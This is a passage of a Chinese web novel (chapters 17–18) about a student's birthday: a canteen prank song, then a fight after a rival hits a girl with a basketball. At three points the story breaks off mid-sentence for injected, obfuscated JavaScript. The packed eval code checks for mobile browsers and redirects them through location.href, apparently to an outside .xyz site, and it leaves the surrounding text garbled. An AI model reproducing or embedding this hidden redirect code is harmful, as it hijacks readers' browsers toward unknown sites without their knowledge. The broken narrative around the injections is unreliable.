祝与青桌在桌前握着筷子认真道谢,尝完第一口后又认真夸了两位阿姨许久,将碗里的鸡蛋分了一个给旁边的诗久夏。 阿姨早对此见怪不怪,就没说什么,嘱咐俩人今日早些回家,手挽着手去买菜准备今日的晚饭去了。 诗久夏正往嘴里塞着抄手,面对夹过来的蛋也心安理得的吃了。 当然,她也不知从一开始就吃,最初她是不肯吃的,不过后来犟不过3祝与青,也就跟着吃了。 再后来她生日也会把鸡蛋分一个给祝与青,就没觉得有什么禁忌了。 “不准咬断!” 诗久夏夹起将蛋咬进嘴里前忽然想起什么,抬头认真叮嘱了句。 祝与青懒得和她这些习惯对着干,听话的一口面吃到底。 人跨进教室门口,祝与青又收获了一通生日快乐,每一个都认真回了谢,还把自己带的糖能分的都分了出去。 上午过的无波无澜,风平浪静,和读书的每一天上午大差不差。熟悉老师,刷到早已厌烦的题,写不完的试卷。 应城市第一高中中午不能出校门吃饭,再隆重的日子都得老实在学校食堂过,午饭七人还是老实走到了学校餐厅。 从打饭到落座,一切都没什么不对劲,甚至正常到了祝与青觉得不对劲的地步。 这种诡异的正常持续了很久,直到祝与青感觉桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502261|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的腿被人踢了一脚。 抬起头,路谨言笑的堪称恐怖,一股寒意从祝与青脚底板直窜天灵盖,不详的预感挡都挡不住。 路谨言还是一副笑嘻嘻的样子,猛地站起来,嘴唇微张,貌似下一秒就要说出什么惊天动地的话来。祝与青反应迟钝的想伸手去捂嘴,结果根本来不及。 一声响彻食堂的惊呼声炸在祝与青耳边,周围吃饭的同学都被这声惊呼吸引注意力,停下筷子朝这边看来。 打饭窗口的叔叔阿姨也纷纷往外张望,连带着从二楼教师食堂下来的老师都在楼梯口停了下来。 祝与青诗久夏这种本身就自带话题度的人本就容易被人注意,平时没事其他人都要多看几眼,路谨言这声惊呼直接让人把眼睛钉在这边了。 几百双眼睛“歘”的望过来,光眼神就能把七个人淹死,目光灼灼。 一瞬间,不光祝与青,连见过无数大场面的诗久夏和方惊芜都心惊了一下,好像自己一瞬间变成了动物园里被围观的某种生物。 然而路谨言还没完,见众人注意力集中起来,非常装的清了清嗓子,手握成拳,做话筒状,发表起了“演讲”。 “亲爱的老师们,同学们,大家中午好。” “非常荣幸今天能与各位齐聚食堂,同吃一锅大炒菜!” 围坐的学生听到这有些沉默,握筷子的手很明显的僵硬起来。 ——他们实在是不知道同在一个只有一个食堂还不准外出吃饭的学校,聚在食堂吃饭有什么好荣幸和高兴的。 但别管说话人什么意思,学生至少把情绪价值提供满了,纷纷应和了一声。 显然,路谨言对于周围学生的“上道”非常满意,甚至渐渐在这样配合中沉醉起来。 刚开始时的紧张已经荡然无存,使坏的心思占据了所有情绪,冲在最前面主持着这位已然不管自己能不能活过今日的“好事人”,也算是为了整祝与青豁出去了一把。 路谨言清了清嗓子,眼底的不怀好意简直藏不住。 “今天是一个神圣而又伟大的日子,它不仅仅是周六。” 路谨言卖了个关子,停顿片刻,吊足了众人胃口,才不慌不忙的说下一句话。 “还是我们祝家大少爷:祝与青的生日!” 接着他的声音更亢奋了。 “在这么一个充满希望和幸福的日子,让我们来整齐的为他献上一首生日快乐歌,表达我们的祝福。” 周围的学生听到这才真正明白和兴奋起来,饭也彻底放下不吃了,非常高兴的为祝与青献出了自己的掌声和欢呼声。 但路谨言仍觉不够,脚踩在椅子上当起了音乐指挥官。 “我数三二一,我们一起唱。” 说着,食堂里的学生倒也真看热闹不嫌事大的跟了上来,齐声出声。 祝你生日快乐的音律在食堂的每个角落响起,高高低低,有男有女,唱的无一不开心。 几千人的合唱程度有够壮观,在无趣的学校无异于引发一场海啸。 在食堂里吃饭的和打饭的都跟着唱,在外面的听见食堂这么热闹也凑进食堂看热闹,还有把热闹传回班级,一起来看的。 当天,食堂收获了自建校来踏足人数最多的一个中午。 短短几分钟,祝与青已经成了一只被围观的猴,被众人祝福的目光洗礼了千万遍。 僵硬着身子,祝与青不知道自己是该藏起来,还是该继续面无表情的吃饭,又或是该一脚把面前唱的最欢的人踹出几米远。 好像那种都不太合适。 数十秒的时间过去,合唱还在继续,每一分每一秒都是煎熬,谢敬,诗久夏,方惊芜,裴逢已经迅速转变心态,慢慢的融入了合唱这个大家庭。 只剩斯郁盯着张大红脸和无处安放的手脚,恨不得立马化成灰飞走。 祝与青则是硬着头皮听完,在许久后的犹豫,沉默和思考中。 安详的闭上了眼。 别看他人还坐在食堂,其实已经死了有一会了。 17. chapter 17 笑面虎 路谨言如此嚣张的举动,自是让祝与青的生日变的不平凡起来。 生日歌唱完,路谨言这个贱的没边的甚至让祝与青起来讲两句,结果硬是被祝与青面无表情,但眼睛里已经深藏杀意的脸吓退了。 饭肯定是吃不下去了,这个食堂也没法再继续待下去了。 刚跟着一起唱的时候还好,现在安静下来,要让诗久夏和他们留在这吃饭,兄弟几个也没法认真吃了。 祝与青端起餐盘起身,斯郁二话不说就要跟着走,诗久夏方惊芜谢敬裴逢紧随其后,跟躲瘟疫似的全都准备逃离现场。 路谨言脸上的笑还没来得及收完,可见刚才唱的有多开心。 刚拿上筷子,还没动两口,见众人要走,路谨言立马从座位上站起身拦人。 “你们这就不吃啦?” 祝与青没理他,顶着所有人目送的眼神,绕过路谨言把餐盘的放到该放的位置,又回了原位置,把端起餐盘要跟在他们身后的人按回了座位上。 措不及防又被怼回位置,路谨言一脸茫然的又要起身,却再度被怼了回去。 祝与青单手拍拍他的肩,哥俩好的语气:“你就坐这慢慢享受食物的美味吧。” 说完抬脚就真准备走人。 这下路谨言才真慌了,急忙抱住祝与青大腿,飞速认怂。 “对不起我错了。” 丢人已经不算什么了。 他要是真被一个人留在这才算是真的完蛋了。 路谨言死死抱住祝与青大腿,不肯让他移动半分,生怕这人真带着其他人走了,完全不顾这块地方仍是目光中心,还有不少人在看。 祝与青瞥了眼路谨言的发旋,又看了眼没动两口的饭菜,轻眯了下眼睛。 轻笑一声,祝与青将路谨言死死挨着他腿的头推开,好整以暇的又坐回了路谨言面前。 诗久夏有些不明所以,但还是跟着又坐回了原位置。 “这样吧,你也没吃几口,不要浪费农民伯伯的粮食了。” 祝与青忽然一反常态,改掉了以往没有表情的脸,当起了笑面虎。 这次有不详预感的人变成了路谨言。 总感觉祝与青的下一句话不像什么好话。 路谨言的预料毫不意外的成功了。 面前的人还是笑着,那张刻薄的嘴却吐出了一句让人“六月寒”的话。 “我们和全食堂的人都陪着你一起吃,等你吃完再一起走。” 祝与青这下也不急着走了,甚至非常好心的把餐盘往他面前推了推,催促了句。 “快吃吧,整个食堂的同学都在看着你吃呢。” 路谨言简直怀疑自己听错了。 ……全食堂的人……看着他吃饭…… ……全食堂的人 看着他吃饭……? 路谨言抬眼朝食堂看去,只看见了乌压压的一片。 冲着早已塞满食堂的学生,和无数双朝这边注视着的眼睛,路谨言狠狠咽了下口水。 路谨言一脸不可置信的看着祝与青,见对方的神色不似开玩笑,将求救的目光投向了诗久夏。 换做平日,诗久夏可能会出来当个和事佬,但很遗憾,今天祝与青生日,寿星最大。 诗久夏两手一摊,用爱莫能助的眼神看了他一眼,然后指了指他的餐盘。 路谨言又将求救目光投向了其他人。 方惊芜一脸认真的研究起了自己的指甲,谢敬忽然看起了自己突然长出“花”来的校服,裴逢莫名其妙的对面前的桌子感起了兴趣,斯郁…… 这个没良心还不会演的,眼神挺开心的盯着他的餐盘。 感情只要受注视的人不是他,别人的尴尬他还是喜见乐闻的。 被所有人围观吃饭和自己一个人吃饭路谨言最后还是选择了前者。 在全体“好心”同学的注视下,路谨言艰难的咽下最后一口饭,放下餐盘的那一刻感受到了前所未有的解脱。 这辈子不会有比这更尴尬的事了,也没有更尴尬的事可以难倒他了。 掐着最后响铃的最后几十秒,七个人跨进了教室大门。 祝大少爷心情晴朗,甚至已经忘了在食堂是怎样一种尴尬。 下午上课,张婷红还是在上课前照例将他批了一遍,却在下课后将他叫到了办公室。 瞧见对方那副没什么表情的脸,张婷红好不容易稳定下来的情绪又生起一股无名火。 强行忍耐两秒,发现一点忍不下去后,祝与青又在办公室挨了第二次批。 不过好在张婷红没忘记自己把祝与青叫来办公室的目的。 最后一通念叨说完,张婷红没好气的从抽屉里拿出一个盒子塞进祝与青手里。 “生日礼物,以后少气我点。” 这次张婷红的声音不像批人时那么大,甚至算得上是温柔,眉眼也不再带上厉色。 倒是祝与青盯着手中的礼物盒看了许久,最后认真的收了起来,正色说了声:“谢谢张老师。” 张婷红这次没说话,只理了理他的衣领,片刻后没好气的把祝与青轰回去上课。 从办公室出来,来来往往每个遇见他的人都会停下来给他说声“生日快乐”,听的他一脸疑惑。 尤其下楼梯,一溜串的人都在和他说“生日快乐”,活像他一夜之间变成了学校的名人。 尤其那一声声“生日快乐”,总让他觉得有种像老师问好的既视感。 理科一班下午第二节课是体育课,祝与青没回教室,直接朝着操场走去。 应城市第一高中的体育老师不兴生病这一套。 祝与青走到操场时正好碰上一波人打球。一起打过球的人大多都跳过来拍了拍他的肩,送了他一句生日快乐。 祝与青已经道谢道麻了,甚至开始怀疑这些人是不是那几个人找的拖。 又一声“生日快乐”传到耳边,祝与青终于遇见了个还算是熟人的人。 来人和他差不多高,穿着带着自己名字的篮球服,五官偏中性风,也属于精瘦型,指尖转着球,正朝他走来。 任年,篮球队副队长,一群人经常一起约球,对人对事公平公正,情商极高。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502262|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “你们怎么知道我今天生日?”祝与青停下来,终于问出了自己的疑惑。 祝与青虽然自认为人缘不算差,但也不至于到所有人都知道他生日的地步。 任年笑嘻嘻搭上他的肩,右手将球抛地上又接住,指指食堂的方向。 “谁不知道啊?现在估计全校都知道你生日了。” “不要低估了自己的人气。〞任年说这话时语气颇有几分语重心长。” “你来前和来后的事,我敢说,我们学校的每个人都有所耳间。” “而且你有钱又没架子,长相和成绩也算上等,就算不怎么露面人气也还是高的。” 任年说到一半又想起什么,补了句,“但没有久夏高。” “对了,久夏过几天是不是要参台演出来着?我们班主任说那天下午会放假,一起去给久夏撑场面。” 祝与青倒是没听祁连在班里说过这件事,只点头告诉了日期。 “下周周六。” 任年算了一下日子,“那快了啊?我们要不要做个横幅什么的?来得及吗?” 祝与青不会替诗久夏做决定,朝操场上某个位置挑眉,示意任年自己去问。 “对了,什么时候……” 任年刚要出口的篮球邀约被几声由远及近的篮球声打断,一道有些讨人厌还带着些惹是生非的声音传来了。 来人肌肉块头不小,浓眉大眼,五分裤下藏不住的腿毛像又穿条毛裤,满脸写着“你们好,我是来找事”。 他拍着球,有意无意的伸长腿,炫耀了下自己脚下的新款水果缤纷鞋。 言明德,二班的体育委员。 ”哟,祝少今个生日啊?怎么没提前在学校里广播一下,看我今天都没给大少爷准备礼物。” 言明德话里的阴阳怪气只要耳朵没聋都能听出来,但祝与青懒得理。 祝与青对待不同的人表情和态度变化其实很明显。 对待和自己玩的很熟,类似七人团里的人,他就笑里藏刀,或者面无表情的互呛,犯贱。完全放松,情绪还算是明显。 对和自己熟,但又不算特别特别好,类似任年这种,祝与青大多数时候就是认真听,认真交流,偶尔闲聊,流露出来的情绪不多,但还算放松。 类似同班同学,点头之交,祝与青就是纯客气和礼貌了。 还有一种就是纯粹讨厌了,任凭你说什么做什么,根本不搭理人。 比如现在,祝与青就不太高兴。 他的表情不变,眼皮没精神的耷拉着,神态和姿势也没变化,还是一副懒洋洋的样子。 但懒得搭理你四个字已经写在了脸上,完全没有要接话的意思。 把“快滚”“去死”的意思表达的淋漓尽致。 然而似乎并不是所有人都能读懂祝与青的面部表情,或者不是所有人都认识“快滚”“去死”四个字。 当然,也可能是能读懂,只是偏要凑上来惹事罢了。 比如面前这位,要脑子有丑鞋,要身高有丑鞋,要颜值有丑鞋,要情商还是只有丑鞋的蠢货。 18. chapter 18 六月第一天的阳光烈的厉害,操场的塑胶跑道晒出一股并不好闻的塑料味,偌大的操场被各个班级分散占领,远方的欢呼声喝彩声有种别样的热闹。 祝与青站的地方是回教室的必过之处,来来往往,不停有人路过,搭他肩的任年也不吭声,打算听听那人到底要用什么借口找麻烦。 那道有些恼人的声音还在持续不断的输出,祝与青半边脸被晒的发烫,隐隐有些不耐烦。 抬眼浅浅睨了言明德一眼,祝与青的意思倒很明显。 ——有茬快找,废话少说。 不过还没等他发现,任年也被这太阳晒的浑身不舒畅了。 这位少爷一不舒畅,就要给人找麻烦了。 “啧。” 任年懒得给这种人好脸,连客套话都不想说,直接问,“所以你到底要干嘛?” 言明德被一问哽了一下,没料到任年这么直接,不过很快又恢复了自己得意洋洋的模样。 “你俩不是都认识诗久夏吗?明天把她约出来,我陪她吃一顿饭。” 他说的很高贵,仿佛这是一种恩赐,好像自己是什么至高无上神。 祝与青连眼睛都懒得抬,更是连难听的话都懒得赏。 “噗” 任年是真没忍住笑出了声,手里的球差点没抓稳。 “人家久夏吃饭没人陪吗?要你陪她?” 越说任年越忍不住,空出来的右手随手指了操场的某块地。 “你去那儿喊一声,诗久夏吃饭要找人陪,不算男生,看看有多少女生愿意和久夏一起吃。” “你还跑我俩面前装上了。” 任年的语气欢快又嫌弃,带着股明显的不当回事。一想到他和祝与青为了这没有自知之明的傻逼在这挨了晒,心情更差,开始不耐烦起来。 “要请人家吃饭不会自己约吗?你都约不到了还不知道为什么吗?” 这下言明德整张脸都阴沉下去,眉眼间带上股说不出的戾气。 他本来就是要加诗久夏联系方式的,结果去问了一圈,没一个人给。 女生统一的借口都是没带手机,男生统一的借口都是没她好友。 要让他自己去问,他也落不下那个面子,所以他才会在这堵祝与青。 祝与青的耐心告罄,也没了在这待着的想法,拍拍任年的手臂打算告辞。 又是这幅高高在上的样子。 好像所有人都是垃圾,只有自己最受人喜欢,最受人追捧一样。 言明德冷嗤一声,左手握成拳。 “你在这装什么高尚和看不起人?你以为诗久夏看不上我就能看上你吗?” 对于这种纯挑衅的话,祝与青早没感觉了,就算没听过几百遍也有几十遍,更别说有什么情绪波动,离开的脚步顿都没顿一下。 不过对方的下一句话让他停脚了。 “你不就是仗着青梅竹马的身份把她留在身边?她不还是只把你当朋友? 他眯起眼回头看了言明德一眼,不算友善也不算恶意,看不出什么意思。 毕竟他确实说对了,诗久夏确实只把他当朋友。 不过对于他利用青梅竹马把诗久夏留在身边这件事,他保留意见。 见祝与青停下来,言明德自以为说的话戳中了他的心窝,一种抓住讨厌人把柄的兴奋从大脑传来,态度愈发嚣张起来。 “诗久夏知道你对她是这种心思吗?” “自认为自己得了青梅竹马的身份就能永远霸占不属于你的人了。” “言传身教就是这样教的吗?利用年长者的身份和长久的陪伴引导心思单纯的人误解自己的感情。” 言明德说到这时祝与青又瞟他一眼,轻轻摩挲下自己的中指指节,眼里的情绪变了。 “真是他妈的会装大尾巴狼,我呸。” 言明德似乎再也受不了祝与青这副高冷样,转过头狠狠砸了一下手里的球,“我祝她这辈子都只把你当好朋友。” 事情发展到这里,祝与青还是没有说话,表情也没有非常明显的变化,脾气好到像个泥人,完全没有要言明德吵一架或者干一架的打算。 甚至伸手拦住了要冲过去问言明德到底什么意思的任年。 “改天约球。”祝与青应下任年被打断的话,抿抿唇转过身打算离开。 又是这样!!! 凭什么??? 凭什么跳脚的永远只有他??!! 那种类似看老鼠,完全不把他当一会儿事的感觉又来了。 藏在记忆深处的愤怒和被忽视的不爽占据所有理智,言明德一个用力将手中的球狠狠往祝与青的方向砸去。 “今天下午我们一起回去!祝与青的生日礼物我放在包里了,到时候和我爸一起送。” “不知道今天俩位阿姨会做什么好吃的,不过涂姨和林姨今天也会回来吧?我上次见她俩还是你生日。” 诗久夏妈妈涂无虞立足基层政府工作,几乎不回家,每年只有诗久夏和祝与青生日会赶回家看看,这是俩家家长在俩人出生前就做好的约定,后来也一直这样。 “不知道是什么好吃的,我们到家的时候她们应该也到了。” 诗久夏脑子里还满是自己的陶器,一边应着旁边方惊芜的话,一边对晚上的活动做盘算,压根没注意到有一个失控的球朝她飞了过来。 而那颗飞来的球,对准她的脑门,砸了个正着。 头猛的一痛,耳朵里闪过一瞬间的嗡鸣声,诗久夏根本来不及反应,身体已经不受控制的往旁边偏,脚也像是失了骨头,一下子软下去。 方惊芜被眼前飞过的球吓了一大跳,大脑直发蒙,下意识伸手去把要往一侧摔的诗久夏抓进怀里抱着,转过头去看球的来源处。 这一眼就看见了笑意还没来得及收起,站在几步开外的言明德。 嘴比脑子动的快,方惊芜直接骂起来。 “你没长眼睛把球往别人身上砸?眼睛和嘴都被人缝起来了?四肢残疾你还打什么球?滚去残联领补助!” 怒火席卷方惊芜的大脑,如果不是怀里还有站不稳的诗久夏,她立马就要冲上去和对方打一架。 被撞的诗久夏脑子迟迟反应不过来,疼痛几乎席卷她整个大脑,双腿无法自主站立,只能勉强借力靠着,连方惊芜说的话都听不清,只能勉强通过对方抱住她的身体,感受到震动。 一股熟悉香味从她的鼻尖略过,带着柑橘味的涩和一点甜,紧接着她被人从方惊芜怀里捞了出来,熟悉的葡萄柚的香味充斥着她的大脑。 祝与青在她面前。 对方像是知道她的脑子晕乎,下手很轻,手掌贴着她的额头把她放在胸口抱着她。 自胸腔传来的心脏猛烈的跳动声放大了数百倍的响在她耳边。 方惊芜从祝与青接过她就已经破口大骂了起来,一边骂还一边瞅诗久夏的情况。 真是好久没遇见这么神经病的人了。 “进这所学校是凭脑残证,走特殊通道进来的?” “你是中午吃撑了没事做跑出来找打是吗?” 诗久夏完全听不到周围的声音,甚至不知道自己在哪,现在是什么情况。 耳朵里的嗡鸣声久久不散,眼前全是斑驳的色块,一股强烈的恶心感从胃里涌出,诗久夏在祝与青怀里弯下腰,控制不住的想要呕吐。 另一边的方惊芜越说越生气,已经撸起袖子要过去干架了。 祝与青压抑着自己的怒火,尽量让自己静下心思考下一步该做些什么。 “惊芜。” 祝与青叫住要去打人的方惊芜,哑着嗓子商量,“久夏现在身体状况不对,你去办公室找老师开请假条,然后带她出去看医生,尽快。” 方惊芜被喊住,看诗久夏情况还是不对,一秒没犹豫,点头往教学楼冲。 这边的阵仗不小,操场上不少学生看了过来,不少女生结成团走到诗久夏旁边,把矿泉水和纸递给抱着人的祝与青。 “喂她点水看看会不会好一点。” 女生小声建议。 祝与青接过女孩递过来的水和纸,点头道谢,把诗久夏从怀里捞出来,扭开水瓶,把瓶口抵到诗久夏嘴边。 强烈的恶心感让诗久夏睁不开眼,只是一直浅浅的嗅着由对方的体温熨帖好的淡香。 虽然很不合时机,但诗久夏忽然想起了购买这瓶香水的原因。 “像少年站在一片绿意匆匆的草地上,柔软的发间带着由各色小花编织而成的花环,微风拂过周围的绿茵时飘过来一股柑橘味的涩味和花果的甜香。” 诗久夏抵在祝与青肩窝处,浅浅闻着那股让人安稳的甜和包裹着的涩。 那是和别人描述中不一样的味道。 是独属于祝与青的味道。 被人从怀里捞出来,鼻尖的味道渐渐消逝,诗久夏摇摇头,把放在她唇边的水瓶挪开,往祝与青怀里蹭。 祝与青低着头,看着对方往她怀里凑的动作轻轻拍了拍对方的头,小声的和怀里的人打商量。 “久夏,喝点水缓一缓好不好。” 诗久夏是真的被撞的太狠了,如果是平常估计没那么厉害,但前几天晚上她都熬了不少的夜,再加上砸球的人力用的太狠,又刚好正中脑子。 大脑一直眩晕着,诗久夏又在对方的怀里缓了好一会儿,才听明白对方在说什么,轻轻侧了下身。 察觉到怀里人的动作,祝与青自觉把水瓶抵到了对方嘴边,等对方不再动作之后才把水瓶收起来。 方惊芜不敢耽搁,急匆匆的从教学处拿着请假条冲到祝与青面前,额发因为跑动乱成了一团,额头渗着密密麻麻的汗,张着嘴喘着粗气。 祝与青等方惊芜缓的差不多,把怀里的诗久夏小心翼翼的挪到对方怀里。 方惊芜接过诗久夏,朝对方点了一下头,扶着诗久夏往校门口走。 目送人影那俩道人影走出校门,周边的女生也慢慢散去,祝与青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504866|170401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回头冷眼看着一脸挑屑着看他的人。 言明德见他看来,眼神都没避一下,甚至非常嚣张的朝他做了个口型。 ——“拜你所赐” 他确实不是故意砸诗久夏的,他完全没看到两个人走过来,不过当球砸到诗久夏身上,祝与青脸上的那一瞬不平静,让他产生了些许快感。 祝与青的懒散的眼睛一下子凌厉起来,攻击意味明显,紧紧盯着言明德,一直压抑着的怒火从胸口窜遍全身,将祝与青的理智燃失殆尽。 在所有人都还没反应过来之时祝与青已经箭步窜到了对方身前,一拳头将对方揍倒在地,坐在对方身上,咬着牙下死手的朝着对方挥拳头。 快的根本来不及拦,不过也没人去拦。 祝与青事迹虽然出名,挨老师骂也多,但祝与青从读书到现在,从来没真的和谁起过冲突。 吵架都没有,更别说打架。 甚至应城一中的学生一度认为能让祝与青变脸色的人已经很了不起了,就别说吵架和打架了。 不知道实情的人只好奇被按在地上打的人是怎么惹着祝与青了。 直到实情的人巴不得祝与青打狠一点。 有力的撞击一下又一下的落在言明德头上,手起拳落,干净利落,把周围看热闹的人都吓了一跳。 等裴逢,路谨言,斯郁和谢敬赶到时,这场战斗已经快结束了。 地上躺着的言明德已经被揍得半死不活,鼻血糊了满脸,流到了脖子和草坪上,打人的祝与青还坐在对方身上,手臂因为用力紧绷在一起,完全没有要停歇的意思。 该说不说,他们还是第一次见到这场面。 虽然平时他们会把祝与青憋到气急败坏,但他们从没见过祝与青吵架,更别说这样式的打架。 他们一向不会随意伸手拦架,谢敬巡视一圈周围,在角落里找到一个曾经打过几次照面的女生问起了情况。 得到祝与青是因为诗久夏被人可以用篮球砸后打的架,一群人甚至庆幸自己没上手拦架。 斯郁听到后甚至面无表情的凑到旁边踢了男生一脚。 最后就是一行人直接被请进了办公室。 诗久夏回教室时已经快放学了,没在座位看见祝与青,随手抓了一个人问,听见对方说她走后祝与青和人打了起来,快把人给打死了,现在被主任叫去办公室了。 快把人给打死了? 诗久夏一愣,祝与青小时候死活不肯学,不像她,没学过跆拳道和散打,要多用力才能把对方快打死? 诗久夏还在愣神,忽然听见有人叫她,抬头看见外面的站着一个没见过的女生在往她这边看,走了出去。 “祝与青,你到底为什么打架?!” “到底为什么?!” 校长的咆哮响彻整间办公室,本就稀少的头发更是因为他的用力抖了抖。 杨正平已经快被面前这个打死不吭声的人给气死了。 “你是不会说话吗?你倒是说话啊!?” “是有人给你下哑药了吗??” “为什么不说话?为什么!!!不说话???” 杨正平已经快被气的犯高血压了,面前的人却仍旧无动于衷。 诗久夏就是在这时进来的。 一声非常有礼貌的“报告”和敲门声同时响起,诗久夏站在安静的站在门口,在朝门内看。 祝与青身姿挺拔的站在杨正平桌边,姿势很规矩,白蓝色校服上沾着几滴飞溅的血,十指关节出已经破皮流血,早上梳好的头发很乱,看起来像被人扯过,后背处的布料也有明显的拉扯痕迹。 她的声音辨识度高,喊报告时祝与青也朝门口看了过来。 眼角处有擦伤,唇角破了,颧骨中了一拳,泛着青。 言明德的肌肉毕竟不是花架子,祝与青再怎么有力气也不会技巧,只能用蛮力,打起架来讨不了多少好。 不过她来办公室不是来找祝与青的。 高声喊了声进。 杨正平的高血压在看见诗久夏这位得意门生后平稳下来,端起桌边的茶杯抿了一口茶,丝毫不知这位学生待会儿只会让他血压更高。 “怎么了久夏?” 杨正平感觉自己的身心又舒畅起来,声音都柔和了不少。 诗久夏进门,却没有回答杨正平的话,而是直接走向了办公室里另一位伤势比祝与青重的多的人身前。 然后。 一拳挥了过去。 “学不会尊重别人的人永远没资格邀请别人吃饭。” 话音落下,办公室的好几位行政老师和杨正平还没反应过来,诗久夏已经抬手挥了第二拳。 比被篮球砸的力度只重不轻。 “这是我还你的篮球。” “每一次朝我抬起手,你都应该知道你要付出的代价。” 说完诗久夏不卑不亢地走到杨正平身前,诚恳的认了错。 “我自愿接受本次打人的结果。”